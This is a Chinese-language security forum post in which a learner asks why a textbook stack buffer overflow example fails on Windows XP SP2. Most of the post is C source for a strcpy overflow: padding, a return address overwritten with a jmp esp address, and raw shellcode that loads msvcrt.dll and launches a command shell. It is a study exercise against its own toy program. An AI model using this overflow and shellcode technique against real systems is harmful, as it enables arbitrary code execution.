- 帖子
- 176
- 积分
- 477
- 威望
- 758
- 金钱
- 638
- 在线时间
- 0 小时
|
[讨论]问一个缓冲区溢出的问题 望高手帮帮忙
议题作者:keith_269
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
我最近想学一下缓冲区溢出的相关知识。在网上下了本书《Q版缓冲区溢出教程》,感觉写的
还不错,浅显易懂。但是在测试书上的一个例子时,没有出现应有的效果,不知道哪里出毛病
了,希望大家能帮一下忙!
就是一个很简单的利用strcpy的入门级例子。书中的例子是利用jmp esp导致溢出到一个弹出
cmd程序的shellcode。在书上说的jmp esp的地址是0x77e1af64,不过我的电脑是windows xp
sp2.我用程序查出我的jmp esp的地址是0x7c961eed。我就单单改了原来程序中的jmp esp的代
码,其他都跟书上一样(用的源码)。但是结果并没有出现溢出,没有弹出cmd程序。而是弹
出“\0x41\0x41\0x41\0x41\0x41\0x41\0x41\0x41Press any key to continue”不知道错在
哪里,望高手指教帮忙,万分感谢!
问题中没有说清楚的地方可以回帖问我!
源代码如下:
#include <stdio.h>
#include <string.h>
char name[] =
"\x41\x41\x41\x41" //name[0]-name[3]
"\x41\x41\x41\x41" //name[4]-name[7]
"\x41\x41\x41\x41" //覆盖ebp
"\xed\x1e\x96\x7c" //!覆盖成jmp esp的地址,在winXP sp2上为0x7c961eed。我只是
修改了这里
//下面是cmd的shellcode。我没有修改
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45
\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x54\xA2"
"\xE6\x77\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8\x4a\x9b\x01\x78\xFF\xD0";
//char name[] = "abcdefgh";
//char name[] = "abcdefghijklmnopqrstuvwxyz";
int main()
{
char output[8];
strcpy(output, name);
for(int i=0;i<8&&output;i++)
printf("\\0x%x",output);
return 0;
}
帖子1 精华0 积分1 阅读权限40 在线时间1 小时 注册时间2008-5-31 最后登录2008-6-2 查看详细资料引用 报告 回复 TOP 让女孩一夜变的更有女人味
yinhao
晶莹剔透§烈日灼然 |
|